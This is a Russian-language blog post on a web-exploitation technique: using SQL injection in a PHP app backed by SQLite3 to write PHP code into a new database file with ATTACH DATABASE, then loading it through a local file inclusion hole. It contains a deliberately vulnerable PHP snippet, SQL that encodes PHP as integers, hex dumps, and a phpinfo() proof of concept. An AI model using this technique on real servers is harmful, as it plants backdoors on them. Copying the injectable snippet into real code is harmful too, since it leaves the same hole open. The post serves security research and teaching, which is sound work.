→ Получение шелла через SQLite3 в веб-директории PHP

| No TrackBacks

Допустим, обнаружено приложение на PHP+SQLITE3. Допустим, в нем имеются уязвимости LFI+SQLINJ. В этом посте хочу описать технику позволяющую в некоторых случаях подгрузить бэкдор на уязвимый сервер.

 <?php
 $db = new PDO('sqlite:mysqlitedb.db');
 $db->exec('CREATE TABLE foo (id integer, bar STRING)');
 $db->exec("INSERT INTO foo (id,bar) VALUES (".$_GET[id].",'pwn me');");
 $result = $db->query('SELECT * FROM foo');
 foreach ($result as $row) {
     print $row[0].' '.$row[1]."</br>\n";
 };
 ?>
 

Как вы успели заметить, в четвертой строке имеется уязвимость SQL Injection. Функциональные возможности sqlite3 не дают больших преимуществ исследователю в задаче получения шелла на сервере. Тем не менее, наше приложение имеет также другую уязвимость, позволяющую инклудить произвольные и не очень файлы, осталось дело за малым создать такой файл! Sqlite3 позволяет на лету подключать файлы с базами данных:

attach database filename as mydatabasename;
Самое интересное в том, что если файла с подключаемой базой данных не существует, то он будет создан. Наша задача записать в него наш шелл. Посмотрим, что представляет собой файл с данными в формате sqlite3:
0000  53 51 4c 69 74 65 20 66  6f 72 6d 61 74 20 33 00  |SQLite format 3.|
0010  04 00 01 01 00 40 20 20  00 00 00 0a 00 00 00 00  |.....@  ........|
0020  00 00 00 00 00 00 00 00  00 00 00 01 00 00 00 01  |................|
0030  00 00 00 00 00 00 00 00  00 00 00 01 00 00 00 00  |................|
0040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
0060  00 00 00 00 0d 00 00 00  01 03 c3 00 03 c3 00 00  |..........ц..ц..|
0070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
03c0  00 00 00 3b 01 06 17 13  13 01 5f 74 61 62 6c 65  |...;......_table|
03d0  66 6f 6f 66 6f 6f 02 43  52 45 41 54 45 20 54 41  |foofoo.CREATE TA|
03e0  42 4c 45 20 66 6f 6f 20  28 69 64 20 69 6e 74 65  |BLE foo (id inte|
03f0  67 65 72 2c 20 62 61 72  20 53 54 52 49 4e 47 29  |ger, bar STRING)|
0400  0d 00 00 00 09 03 8d 00  03 ec 03 d8 03 c4 03 b0  |......-..Л.ь.д.¦|
0410  03 a9 03 a2 03 9b 03 94  03 8d 00 00 00 00 00 00  |.L.-.?.¦.-......|
0420  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
0780  00 00 00 00 00 00 00 00  00 00 00 00 00 05 09 03  |................|
0790  01 01 01 01 05 08 03 01  01 01 01 05 07 03 01 01  |................|
07a0  01 01 05 06 03 01 01 01  01 05 05 03 01 01 01 01  |................|
07b0  12 04 03 01 29 01 54 68  69 73 20 69 73 20 61 20  |....).This is a |
07c0  74 65 73 74 12 03 03 01  29 01 54 68 69 73 20 69  |test....).This i|
07d0  73 20 61 20 74 65 73 74  12 02 03 01 29 01 54 68  |s a test....).Th|
07e0  69 73 20 69 73 20 61 20  74 65 73 74 12 01 03 01  |is is a test....|
07f0  29 01 54 68 69 73 20 69  73 20 61 20 74 65 73 74  |).This is a test|
0800

Удивительно, но интерпретатор PHP нормально его переваривает, если сделать ему include. Теперь наша задача - поместить в файл php-код. Для этого нам необходимо сформировать некую структуру, которая в формате sqlite3 выглядела бы как валидный php-код. Поскольку в файлах хранятся данные таблиц и их описания, то другого выхода у нас нет, кроме как создать свою таблицу и в качестве данных записать в неё php-код. Дабы не иметь проблем с экранированием кавычек, создадим таблицу с данными типа INTEGER. Код будет следующий:

 attach database [/tmp/smkchk46187290] as smkchk46187290;
 create table smkchk46187290.smkchk ( x0 integer, x1 integer);
 insert into smkchk46187290.smkchk values (808464488, 1701604463);
 
В результате появится файл с следующим содержанием:
0000  53 51 4c 69 74 65 20 66  6f 72 6d 61 74 20 33 00  |SQLite format 3.|
0010  04 00 01 01 00 40 20 20  00 00 00 02 00 00 00 00  |.....@  ........|
0020  00 00 00 00 00 00 00 00  00 00 00 01 00 00 00 01  |................|
0030  00 00 00 00 00 00 00 00  00 00 00 01 00 00 00 00  |................|
0040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
0060  00 00 00 00 0d 00 00 00  01 03 b9 00 03 b9 00 00  |..........¦..¦..|
0070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
03b0  00 00 00 00 00 00 00 00  00 45 01 06 17 19 19 01  |.........E......|
03c0  67 74 61 62 6c 65 73 6d  6b 63 68 6b 73 6d 6b 63  |gtablesmkchksmkc|
03d0  68 6b 02 43 52 45 41 54  45 20 54 41 42 4c 45 20  |hk.CREATE TABLE |
03e0  73 6d 6b 63 68 6b 20 28  20 78 30 20 69 6e 74 65  |smkchk ( x0 inte|
03f0  67 65 72 2c 20 78 31 20  69 6e 74 65 67 65 72 29  |ger, x1 integer)|
0400  0d 00 00 00 01 03 f3 00  03 f3 00 00 00 00 00 00  |......С..С......|
0410  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
07f0  00 00 00 0b 01 03 04 04  30 30 30 68 65 6c 6c 6f  |........000hello|
Слово hello, наших рук дело. Подобным образом записанный файл, содержащий phpinfo(), будет выглядеть следующим образом:
 <...>
07e0  00 00 00 00 1a 01 06 04  04 04 04 04 30 30 3c 3f  |............00<?|
07f0  70 68 70 20 70 68 70 69  6e 66 6f 28 29 3b 3f 3e  |php phpinfo();?>|
 
А sql-код будет такой:
 attach database [/tmp/smkchk93313515] as smkchk93313515;
 create table smkchk93313515.smkchk ( x0 integer, x1 integer, x2 integer,
  x3 integer, x4 integer);
 insert into smkchk93313515.smkchk values (808467519, 1885892640,
  1885892713, 1852206888, 691748670);
 
Теперь используя LFI-уязвимость мы инклудим наш файл и получаем вывод phpinfo(). К посту приложен скрипт, генерирующий sql-код для произвольного php-кода.

NB1: Во избежание применения кавычек для обозначения имен файлов при создании таблиц в sqlite3 были использованы квадратные скобки (кредитсы уходят Марату).
NB2: Так же стоит отметить, что последовательные sql запросы возможны (кредитсы опять уходят Марату), но только в случае вызова из php-функции exec.

No TrackBacks

TrackBack URL: http://smokedchicken.org/m/mt-tb.cgi/36

About this Entry

This page contains a single entry by Антон Сапожников published on July 4, 2010 11:17 PM.

IDA Entropy Plugin was the previous entry in this blog.

Типы SQL-запросов в приложениях is the next entry in this blog.

Find recent content on the main index or look in the archives to find all content.